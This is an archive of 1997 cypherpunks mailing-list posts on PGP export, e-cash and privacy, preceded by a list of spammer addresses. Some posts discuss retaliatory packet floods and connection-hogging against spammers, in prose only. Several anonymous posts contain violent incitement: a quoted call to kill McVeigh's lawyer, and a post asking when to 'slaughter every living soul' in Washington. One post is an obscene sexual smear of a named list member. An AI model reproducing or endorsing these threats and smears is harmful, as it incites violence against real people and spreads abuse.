macsvc@ix.netcom.com
mail@global-stock-exchange.com
mail@mailermachine.com
mailbox@alaska-marketplace.com
mailer@mail.nettwerks.com
mailme@ieighty.net
mas-remove@nelsonpubl.com
maximum@savetrees.com
mdbiz@nevwest.com
megamoneymakers@mail-response.com
microcap@lostvegas.com
mm_mail@mailermachine.com
mnoffice@t-3net.com
mxzr2@savetrees.com
nancy@ginette.com
netmoney@lostvegas.com
netpower@answerme.com
nhbb@t-1net.com
no-news@amazon.com
offshorecard@answerme.com
outofhere@answerme.com
owl@owlsnest.com
pandrews@sc1.kintyre.com
pctraining@savetrees.com
pctraining@t-1net.com
phoenix@workload.com
picks@webersmall.com
pls@savetrees.com
pluto@nevwest.com
pnpservices@t-1net.com
postmaster@ascella.net
postmaster@nim.com
powertools@cybertools.net
putpeel@putpeel.com
reindex@aol.com
remmee@answerme.com
remove11@answerme.com
remove1@answerme.com
remove2@answerme.com
remove3@answerme.com
remove3@juno.com
remove4@answerme.com
remove5@answerme.com
remove6@answerme.com
remove7@answerme.com
remove8@answerme.com
remove@best-prices.com
remove@cyberbundle.net
remove@cyberpromo.com
remove@eb.com
remove@econopromo.com
remove@endlesssuccess.com
remove@first-star.com
remove@gw.mailmaster.com
remove@hydrix.com
remove@i-machine.com
remove@iemmc.org
remove@looplink.com
remove@mailout.com
remove@mkt-america.com
remove@mkt-usa.com
remove@mortgagemgr.com
remove@mortgagemgr.com
remove@net-wwworth.com
remove@newsyoucanuse.com
remove@ngmgold.com
remove@nim.com
remove@qlink2info.com
remove@quantcom.com
remove@regulus.net
remove@remove-me.com
remove@worldwidepromo.com
removeit@mkt-america.com
removemenow@answerme.com
removemenow@cyberpromo.com
reply15@answerme.com
root@mail.internorth.com
roys@wt.net
sales@e-distributors.com
sales@scarlett.org
sandy@inneraction.com
secsys@1stfamily.com
serenityinfo@savetrees.com
service@ibase.net
simrem@answerme.com
skifast1@earthlink.net
slender@juice4u.net
smartbiz@nevwest.com
solgroup@vii.com
sonnyv@webspawner.com
specialofffer@glenfinnan.com
stealth@glenfinnan.com
stephanie@pacific-publishing.com
t3@t3-com.com
takemeoff@answerme.com
teambuilder@mail-response.com
techkids@prolinx.net
theadd@answerme.com
tjordan@savetrees.com
tnt-remove@eom.net
tnt-remove@eom.net
toner-girl@ctynet.com
tony@answerme.com
user2361@servmail.com
virtualone@mynumber.com
vision1@regulus.net
vision2@regulus.net
vision3@regulus.net
vision4@regulus.net
vision5@regulus.net
vision6@regulus.net
vision7@regulus.net
vision8@regulus.net
vmailone@mail89.com
wcorp@netfiber.com
webmaster@mailloop.com
websales@akyp.com
welcome@webersmall.com
wss@wallstreetsports.com
zvi@creditnet.com

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Ray <jmr@shopmiami.com>
Date: Sun, 17 Aug 1997 06:14:26 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Export rules
Message-ID: <3.0.16.19970816175752.47bffd64@pop.gate.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 02:05 AM 8/15/97 -0700, Bill Stewart wrote:
...
>Well, Raph Levien applied for an export permit for the RSA-in-4-lines-of-PERL
>shirt several years ago, and the export thugs stalled on it and never
>responded positively or negatively, in spite of their publicly stated
>policies that they "will" respond in some small number of days.
...

  I wonder if it's possible/practical to do a FOIA request on Raph's
old permit request and why it didn't merit action. As I recall, he even
sent them a couple of the shirts. Then the export thugs could never-
respond to the FOIA request, I guess.

  Someday, the news media might even notice that it's an interesting
(and humorous) story.
JMR

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Freedom isn't Freeh.

iQEPAwUBM/YiLzUhsGSn1j2pAQHXTwfQ4Iwltxah6RzMhQ7T0ttNejtpwLYMdX/R
nqzHvgvB/OrOpElnX7BBSUlt3kj8Evj39EaRAKbvRcXU7YagmQaRbMrZW7MD5cdT
gMNBujRqEiNezi6iF3obxlQb7ZUDaCdFEscGSVq1pWacAVtJkZWUvUeKsuIs1374
X0DgdXAVMmw20JjS1An0ME17IwDyUnVsWAhgijUQmlWUMeS6WZnvfOmzClEJWTGn
N919pcLzyWmL0ZGfjo5c8i2+eWCgTfY/oMBPa2TwChqAOIDuip1O1v3vHWgFpoJ7
ffXmwXOTw2yWZO5b511jQ3TLgY9UmZXYuvljndsYi1zxPA==
=uVHt
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 16 Aug 1997 10:03:25 +0800
To: Zooko Journeyman <cypherpunks@toad.com
Subject: Re: HIP hip hooray
In-Reply-To: <199708130952.LAA17846@xs1.xs4all.nl>
Message-ID: <3.0.2.32.19970816184751.006b8be0@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:52 AM 8/13/97 +0200, Zooko Journeyman wrote:
> A million monkeys operating under the pseudonym 
> "Mark Grant <mark@unicorn.com>" typed:
>>
>> Hey, Zooko! You were the only Cypherpunk who made the article in the
>> 'Independent' (by that blonde reporter who was wandering around), though
>> Lucky Green was mentioned by name.
>
>
>Wow.  Oh how the mighty have fallen, from an adulatory spread 
>in Wired to a mention in The Independent.  And to think that 
>Lucky was the fellow who was supposed to get the most benefit 
>from the situation in the first place!

Lucky got much benefit from HIP. [What's the smiley for a *huge* grin?]


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sun, 17 Aug 1997 11:33:03 +0800
To: Neva Remailer <nobody@neva.org>
Subject: Re: FCPUNX:McVeigh on McVeigh
In-Reply-To: <199708161327.IAA18154@dfw-ix3.ix.netcom.com>
Message-ID: <Pine.BSF.3.91.970816215017.507A-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




>   McVeigh's conviction was a given, no matter how skilled an attorney
> he had representing him. That's how it works at that level.

Given that he appears to have actually been guilty, and was not tried in 
California, perhaps he would have been convivted regardless of how much 
was spent on his defense.

The O.J. trial should not be used as a legal standard; it was a media 
event, not a trial, with book deals for winners and losers alike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex le Heux <alexlh@xs4all.nl>
Date: Sun, 17 Aug 1997 04:35:53 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <3.0.2.32.19970816223237.007b0bb0@mail.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sun, 17 Aug 1997 14:38:14 +0800
Subject: Re: Reducing Crypto-Anonymous Crime by 50% / Re: Getting ecash without an MTB account
In-Reply-To: <199708160015.TAA10733@dfw-ix9.ix.netcom.com>
Message-ID: <Pine.LNX.3.95.970816231502.687A-100000@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 15 Aug 1997, Neva Remailer wrote:

>   An analysis of the cypherpunks list archives shows that most of
> the undesirable activities being perpetrated in the crypto-anonymity
> arena are the result of a conspiracy between Alice, Bob, and their
> shady friends.

	That would be Alice Donut, and Bob Dobbs. 

Petro, Christopher C.
snow@smoke.suba.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: miner <miner333@dogbert.xroads.com>
Date: Sun, 17 Aug 1997 15:06:47 +0800
To: cypherpunks@toad.com
Subject: Re: (Fwd) FWD: Texas Driver's License database on the web
Message-ID: <Pine.BSI.3.96.970816235302.22847A-100000@dogbert.xroads.com>
MIME-Version: 1.0
Content-Type: text/plain



>>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
>>From: Brent Heustess <heustess@mail.utexas.edu>
>>
>>   This is a really spooky web site <http://www.publiclink.com>.  You
can
>>search 17 million Texas drivers by name, driver's license number or
>>license plate number.  When you find a person, you can then find
everyone
>>at that address with a license.  You can even find everyone with the
same
>>9-digit zip code.  The record does not have a GIF of the photo, but it
>>has everything else on the license.
>
>Those who tell the government the actual address where they sleep at
night
>have no expectation of privacy.  Most governments don't care if you
>substitute an accomodation address.  If you find a government that does
>care, shop around until you find another that doesn't.  I've been turned
>down exactly once in my career when I attempted to use an accomodation
>address for DMV purposes.  I went elsewhere.
>
>DCF
>

There was an article in the WSJ about this recently, TX has passed a law
that goes into effect Sept. 1ST that will make publiclink illegal, they
said they would continue to run the site and see what happens in court.
Don't remember the date of the article.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Abstruse <Abstruse@technologist.com>
Date: Sun, 17 Aug 1997 12:59:22 +0800
To: cypherpunks@toad.com
Subject: re: Just in case...
Message-ID: <33F67EE5.5760@technologist.com>
MIME-Version: 1.0
Content-Type: text/plain



ok..i don't know how many of you saw this, and..given my short time
recently, it may have even passed through this list..so, if it's a
re-post, i apologive..if not, enjoy..but i figure with all the other
side threads that come through here..this will be my fuck up if it's a
re-post, ok?! well, enough of that, onto the post!

***************************from the BoS list******************

In a development that is probably sending Louis Freeh into coniptions
and
may represent a fatal blow to the administration's efforts to control
encryption exports, the source code for Pretty Good Privacy's PGP 5.0
encryption program was posted Monday on a web site at the University of
Oslo.

 So how did it get there, what with prohibitions on the export of
128-bit
encryption encryption software? Right out the front door, that's how --
in
the form of a 6,000-page book (remember them?), a format that is not
covered by the law.

 A group of enterprising hackers set about scanning all 6,000 pages of
the
source code and then painstakingly double-checked for errors, a
two-month
process whose final fruits were unveiled in Unix format Monday, with Mac
and Windows versions forthcoming.

 PGP says it had nothing to do with the whole thing, but was happy to
have
its product vetted free by a group of experts, whose trouble-shooting
showed that the code is secure and contains no back doors for government
visitors.

More info at http://www5.zdnet.com/zdnn/content/zdnn/0812/zdnn0006.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 17 Aug 1997 15:49:56 +0800
To: cypherpunks@toad.com
Subject: Re: Picketing With Packets
In-Reply-To: <19970816232134.20321.qmail@zipcon.net>
Message-ID: <55JkBe2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Mike Duvos <enoch@zipcon.net> writes:

> dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) writes:
>
>  > In all fairness, in addition to Stanford Wallace, there are
>  > several other spammers sending out junk e-mail. If you
>  > completely eliminate Stanford and his company, you will
>  > STILL get junk e-mail.
>
> If Mr. Spamford were terminated with extreme prejudice, my junk
> email would be reduced to managable levels.

Perhaps because others like him would be scared... Most of the shit
I get is from other spammers.

>  > Perhaps this will spark another round of a cypherpunk
>  > discussion of technical solutions to junk e-mail...
>
> I'm tempted to go some sort of postage route myself, but I
> occasionally get mail from newbies who have never written me
> before, and who occasionally have something interesting to say.

How about this: have a program
keep a list of the message-ids of all the articles you send to
Usenet or via e-mail for a week. if someone sends you an
e-mail with "In-Reply-to" message-id on the list, consider
reading it. Otherwise if it's from a stranger, e-mail back
explaining your filtering policy, and remember the message-id,
so this time they can respond.

>  > I placed myself on a zillion "remove" lists.  Now I no
>  > longer get any junk e-mail of interest (which I did on rare
>  > occasions), but still get at least once a day an MMF and/or
>  > an ad for a sex site.
>
>  > I'll tell you what I did, if anyone cares to spend a little
>  > time emulating what I did.
>
>  > Visit these two sites and jump through the loops:
>
> It is not *I* who should do the hoop-jumping in order to keep my
> mailbox free of garbage.

Here's a little crypto project:

When you go to the iemmc.org site and enter your userid in a form,
it e-mails back to you a number.  You're supposed to retrive
your e-mail, then go to another iemmc.org site and again type
in your address and the number, and then you'll be removed from
their junk mail list... yeah, right.

Another dirty trick on iemmc.org's part is that if you're junking
all e-mail from them, you can't get their number and can't complete
their removal process (not that it helps much).

Observation 1: it's much easier to get ON their junk mail list
then to get OFF of it.

Observation 2: if you enter the same userid several times, you
get several different numbers in the mail; all of them work
(not just the latest)

Observation 3: a number that works with one address won't work
with another address.

It looks like the magic number has some random part and a checksum
of the e-mail address you're trying to remove.

It would embarrass them if we had a way of generating the numbers
than their cgi script accepts. (Alternatively, maybe someone can
pull out the source to their cg script...) Then people would be
able to get themselves on the "remove" list much easier.

> Additionally, a lot of mail is of the "This is the only mailing
> you will receive from us" variety.  Getting 50 a day of those can
> be royally annoying as well.
>
> I am tempted to launch a few thousand packets in the direction of
> any IP which sends me unwanted material trying to sell me
> something.  If everyone did this, spamming machines would be
> buried in a packet snowstorm within a few minutes of starting
> operations.

Or they'll develop new techniques to combat such DOS attacks
that'll benefit us all. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 17 Aug 1997 16:34:48 +0800
To: cypherpunks@toad.com
Subject: Re: No charges for Ruby Ridge murderers
Message-ID: <b0fsN6i2jNINvIyUKqEBBQ==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



At 06:30 PM 8/15/97 +0200, nobody@replay.com (Anonymous) wrote:
<snip>

>	The Justice Department decided not to bring charges against former
>FBI Deputy Director Larry Potts or Danny Coulson, Potts' deputy during the
>1992 seige at the remote cabin of white supremacist Randy Weaver, said
>government officials who spoke on condition of anonymity.

Randy Weaver was a white SEPARATIST, not a white supremacist. The
media is somehow capable of getting the separatist vs. supremacist
when it comes to Louis Farrakhan, but not for Randy Weaver. Randy
may well be, privately, a white supremacist. I think it's very likely,
and even more likely that Farrakhan is a black supremacist, but no
media person has ever pointed to a statement suppporting white
SUPREMACY, as opposed to separation, by Weaver. They continue in
their leftwing racist lies because they are biased, as a whole, against
"evil" white males. Sad that they can't use truth as a standard instead
of lies, since the truth is bad enough.

...
>	The department said in a statement obtained by The Associated
>Press, "The available evidence does not support further criminal
>prosecution of FBI officials ... from the August 1992 incident at Ruby
>Ridge."

The available evidence did, however, support a multimillion dollar
verdict for Weaver. Sometimes, it's so wonderful being a taxpayer
I have to break down and cry...
Themediaislefty-racistmonger










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Sun, 17 Aug 1997 20:49:29 +0800
To: cypherpunks@toad.com
Subject: Re: PGP5i supports RSA keys?
Message-ID: <19970817123643.13713.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



>As PGP5i will be outside RSA's patent reach (i.e. the patent is only 
>valid within the US) will PGP5i support RSA keys?
>
Yes, PGP 5.0i does support the RSALIB. Even though you can generate 
RSALIB based keys, why do so when there is a newer and better algorythm 
supplied with the 5.0? Albiet it is nice to have the support as not 
everyone has converted over, I still prefer the newer one. 4096 bit keys 
are going to be rather hard to break in this lifetime. :-) 

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Sun, 17 Aug 1997 20:52:46 +0800
To: cypherpunks@toad.com
Subject: Missed a PGP version?
Message-ID: <199708171239.FAA05942@f31.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



   The version numbers of PGP floated from PGP 2.63i to PGP 5.0i. Did I 
miss a version or was this done to reflect the start of the break from 
the RSALIB algorythm? Also, does PGP 5.0 still support the MPLIB? Was it 
used in it's design?

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 17 Aug 1997 12:10:48 +0800
To: cypherpunks@toad.com
Subject: Re: Remailer hating Nazis
In-Reply-To: <BCTAexGKt/qf+xuC0Dzelw==@JawJaCrakR>
Message-ID: <199708170347.FAA28985@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> If anything, flaming anonymously is good, since you can say anything you
> damn well please without a care. 

There are lots of good reasons to use remailers, but thinking that you are
not responsible for your actions is not one of them.  Anything you send
may be around to haunt you for many years to come. 

If you believe that any computer sytem is foolproof... you have a lot to
learn.  There is always a possibility that people will found out your real
identity and where you live, through a human error or a flaw in the
remailer.  (Right, toto?). 

> It relieves stress.

There are easier and safer ways:  get some exercise, or check out a porno
site, or go to a rifle range, or write a reply but don't send it. 

::Boots

Greets to all my friends in domestic surveilance.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 17 Aug 1997 21:41:00 +0800
To: "David Downey" <cypherpunks@toad.com
Subject: Re: Missed a PGP version?
In-Reply-To: <199708171239.FAA05942@f31.hotmail.com>
Message-ID: <3.0.2.32.19970817062449.006fd06c@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:39 AM 8/17/97 PDT, David Downey wrote:
>   The version numbers of PGP floated from PGP 2.63i to PGP 5.0i. Did I 
>miss a version or was this done to reflect the start of the break from 
>the RSALIB algorythm? Also, does PGP 5.0 still support the MPLIB? Was it 
>used in it's design?

PGP 5.0 is the software formerly known as PGP 3.0. Viacrypt, which sold
commercial PGP licenses before PGP, Inc. was formed, used to sell a PGP 4.x
GUI version based on 2.63 core. Rather than trying to explain to their
customers why 3.0 was more advanced than 4.5, PGP, Inc decided to name the
rewrite 5.0.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sun, 17 Aug 1997 14:38:48 +0800
To: cypherpunks@toad.com
Subject: Re: Remailer hating Nazis
In-Reply-To: <BCTAexGKt/qf+xuC0Dzelw==@JawJaCrakR>
Message-ID: <Pine.LNX.3.93.970817075318.124M-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 15 Aug 1997, Anonymous wrote:

> If anything, flaming Anonymously is good, since you can say anything you 
> damn well please without a care. 

I think this says alot more about you Mr Anomymous then it dose about the
use of Anonymous servers.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM/YhpKQK0ynCmdStAQEKAgQAsLrDcVpTyY8Zkr287BbiGSgTm4u4zyCg
erTceiR1imaJ7shYP5qZDSTnxMvaS/OiFG99JeYRy7Fp38zfOob6+5x4E2gvU9HU
hqKj3aX2ohIVgljbJg8sHEyUUNT0Gkt3uVv616T+l0+sZqrgJcQYkP2Bb5gmWglG
viNOTxmtLMM=
=s63B
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 17 Aug 1997 21:25:55 +0800
To: Duncan Frissell <frissell@panix.com>
Subject: Re: (Fwd) FWD: Texas Driver's License database on the web
In-Reply-To: <3.0.1.32.19970616231344.006959d8@panix.com>
Message-ID: <199708171312.IAA05620@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.1.32.19970616231344.006959d8@panix.com>, on 06/16/97 
   at 11:13 PM, Duncan Frissell <frissell@panix.com> said:

>Those who tell the government the actual address where they sleep at
>night have no expectation of privacy.  Most governments don't care if you
>substitute an accomodation address.  If you find a government that does
>care, shop around until you find another that doesn't.  I've been turned
>down exactly once in my career when I attempted to use an accomodation
>address for DMV purposes.  I went elsewhere.

I have allways prefered to have any government registrations done in a
state that I *do not* reside in.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM/brIY9Co1n+aLhhAQFjmwP/S3G3b5chD5aHOqRKSIbujz6vO+Wd53mC
PW9nHu0jXn5sL0J7VLvG4/jyeYP8WMHVTBXaq3vACuNk+nqmUfv86X3f7tp9Ycf/
1JsvVOfaV8bnLMYNQZoJjXtskcIlxKVTQ0upwODgr1HCXTyJHVlkatQLcDagoIfe
OIh6i6/VJd8=
=gSv3
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 17 Aug 1997 14:33:35 +0800
To: cypherpunks@toad.com
Subject: Degausser
Message-ID: <199708170622.IAA14546@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim C[reep] Mayflower will fuck anything that moves, but he'd rather be
fucking his own mother's dead body.

         __o
       _ \<_  Tim C[reep] Mayflower
      (_)/(_)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 17 Aug 1997 15:15:49 +0800
To: cypherpunks@toad.com
Subject: Shakespearean Conspiracy / Re: FCPUNX:McVeigh on McVeigh
Message-ID: <199708170703.JAA18919@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Wazoo MixMaster wrote:
> At 06:27 PM 8/15/97 -0800, you wrote:
> >For fifteen million dollars, McVeigh's lawyer couldn't be troubled to
> >raise his voice in his client's defense.
> 
> McVeigh's trial wasn't about truth or justice.  It was all about getting revenge,
> drawing blood, satisfying the bloodthirsty people of America.
> 
> this government controlled dickless loser that was McVeighs lawyer, 
> didn't prosecute like a man, because then he'd be blacklisted and treated like shit.
> 
> If anyone out in this world feels like bumping off McVeighs lawyer,
> please do so.  We need less lawyers like him.

  Keep in mind that you should first remove all works of Shakespeare
from your possession, since possession of them could lead to the
filing of conspiracy charges against you.
  It might also draw the cypherpunks into the web of conspiracy from
the point of view of the broad, unconstitutional laws covering this
area, since Shakespeare was a cypher-punster. (I hope no one on the
list has been exporting the works of Shakespeare without an export
license.)

BardMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 17 Aug 1997 15:14:28 +0800
To: cypherpunks@toad.com
Subject: Suitable for viewing by "Foals" (as rated by Tim C. May)
Message-ID: <199708170705.JAA19084@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



* Paul Millhouse, 49, pleaded not guilty in February to assault on
an animal after he was arrested in Lakeside, Calif., near San Diego. 
He is suspected of being the man sought for 11 years for various
horse stalkings (the very first one of which was reported to police
by Joan Embery, the San Diego Zoo spokesperson who frequently
appeared on The Tonight Show Starring Johnny Carson). 
According to police in the latest incident, Millhouse was videotaped
entering a private pasture, taking off his clothes, and fondling a
horse.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 17 Aug 1997 15:19:03 +0800
To: cypherpunks@toad.com
Subject: Vote 'Till It Hurts!
Message-ID: <199708170705.JAA19203@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



WEIRDNUZ.491 (News of the Weird, July 4, 1997)
by Chuck Shepherd

* Lewis Ecker II, a diagnosed sexual sadist, was turned down in his
release bid from St. Elizabeth's Hospital in Washington, D. C., in
December even though he has made considerable improvement
during his stay, even winning elective office in D. C. in 1990 (and
being re-elected twice since) as an Advisory Neighborhood
Commissioner.  However, according to hospital officials, Ecker
hurt his chances of release by secretly composing 21 sexual-sadist
narratives (discovered in a search of the office he had been given
the privilege of using) that featured himself as the protagonist who
humiliated and injured female victims.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 17 Aug 1997 15:18:19 +0800
To: cypherpunks@toad.com
Subject: Re: ASSETS FORFEITURE BILL ON THE MOVE
Message-ID: <199708170707.JAA19317@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



To: remailer@REPLAY.CO
From: CypherPisser <cp@dev.null>
X-Mailer: WinSock Remailer Version ALPHA1.3B
X-Comments: -
X-Comments: "I am not an asshole, but I play one in real life."
X-Comments: -
X-Comments: "If you can't say something nice about someone...
X-Comments: ...piss on 'em."
X-Comments: -
X-Comments: This message is NOT from CypherPisser.
X-Comments: It was sent by an automated anonymous asshole under the
X-Comments: auspices of the Electronic Forgery Foundation.
X-Comments: -
X-Comments: Note: Send any complaints about abuse of this remailer 
X-Comments: to the person most concerned about your rights and
X-Comments: freedoms. (Hint: It's a "mirror" site.)
X-Comments: -
X-Remailer-Setup: Maximum Message Size -- None
X-Remailer-Setup: Reordering is OFF
X-Remailer-Setup: News Posting DISABLED
X-Remailer-Setup: Subject Header KEPT
X-Remailer-Setup: Logging COMPLETE Messages
X-Remailer-Setup: PGP and plaintext messages accepted
Subject: Re: ASSETS FORFEITURE BILL ON THE MOVE

;:
Anon-To: cypherpunks@toad.com

Robert Hettinga wrote:
> From: Vinnie Moscaritolo <vinnie@vmeng.com>
>                 ASSETS FORFEITURE BILL ON THE MOVE
> 
>      At press time, the U.S. House Judiciary Committee had passed
> H.R. 1965 -- an assets forfeiture bill. This legislation contains
> provisions that would allow the Clinton-Gore Administration to
> seize the assets of virtually any business on any pretext --
> including firearms-related businesses! Even if the warrant for
> the original seizure is struck down, the government would then be
> given additional time and "discovery" to examine the business
> records to try and build a case to continue holding the assets
> (read: firearms). Virtually any business that has any substantive
> inventory and that is extensively regulated by the government is
> in danger of having its goods seized -- even for non-criminal
> regulatory infractions. H.R. 1965 is a Clinton-Reno scheme -- and
> a civil rights nightmare -- and we strongly believe it will be
> used as a tool against gun stores, collectors, or anyone else who
> has a firearms collection or inventory worth stealing. 

  Is it time to kill these fuckers, yet?
  Does anybody know what the secret signal is for us to descend
on D.C. en masse and slaughter every living soul in the defense
of freedom? (or merely on a whim?)
  Is the 'secret signal' when the sun comes up in the morning?
That works for me!

Uuhhh...Anonymous





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 18 Aug 1997 02:48:57 +0800
To: Mike Duvos <enoch@zipcon.net>
Subject: Re: Picketing With Packets
In-Reply-To: <19970816212754.10722.qmail@zipcon.net>
Message-ID: <3.0.2.32.19970817111704.030651c4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:27 PM 8/16/97 -0700, Mike Duvos wrote:
>I availed myself of some free home page enhancements on the Web
>yesterday, and all of a sudden, my SPAM has increased by at least
>an order of magnitude.  Obviously, one or more of the sites I
>visited sold my email address to Mr. Spamford.

Not obvious at all - spammers have harvester programs that
hunt down new web pages to find spammer targets,
and since three of the different spammer groups are hitting you,
that's probably what happened.

>The following was suggested to me by someone on IRC this morning,
>and I think it's a pretty nifty idea.  We write a little Perl
>script that keeps exactly ONE AND ONLY ONE TCP connection open to
>each of Mr. Spamford's machines.  

Perl is a nice language to write such things in, but you won't
get huge quantities of people implementing it, except perhaps Linux users.
You need an executable that'll run on Win3.1 or Win95 (sigh);
a user interface letting you input different targets is also good.
However, that doesn't really block the spammers who buy a list of
N million targets and send spam out from their own machines,
though shutting down Spamford and Harris Marketing would help,
and would cut down the sales of the lists.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 18 Aug 1997 03:01:38 +0800
To: "Mark M." <markm@voicenet.com>
Subject: Re: Getting ecash without an MTB account
In-Reply-To: <Pine.LNX.3.95.970815101917.1090E-100000@www.ctrl-alt-del.com>
Message-ID: <3.0.2.32.19970817112235.030651c4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:15 PM 8/15/97 -0400, Mark M. wrote:
>There are two ways of handling the double spending problem.  One is online
>clearing where the bank keeps a database of all deposited coins.  
.....
>The other protocol is very complex and involves an interactive protocol
>to reveal one half of the payer's identity which is split using a simple
>XOR.  When a coin is double spent using this protocol, the payer's identity
>is revealed.  I don't know if this protocol can be used for double-blinded
>coins, but even if it could, there wouldn't be many advantages over
>online clearing.

The advantage is that it doesn't need to be online, and being online
is sometimes inconvenient, and sometimes increases your transaction costs.
For some applications, such as wallets, being online means trusting the
telecom facilities provided by the person you're exchanging money with,
which also requires more protocol support.

There is another approach, which is the observer stuff from Stefan Brands,
or whatever he's working on these days, using some sort of "trusted" 
processing component in the wallet to prevent double-spending.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 18 Aug 1997 03:27:33 +0800
To: cypherpunks@toad.com
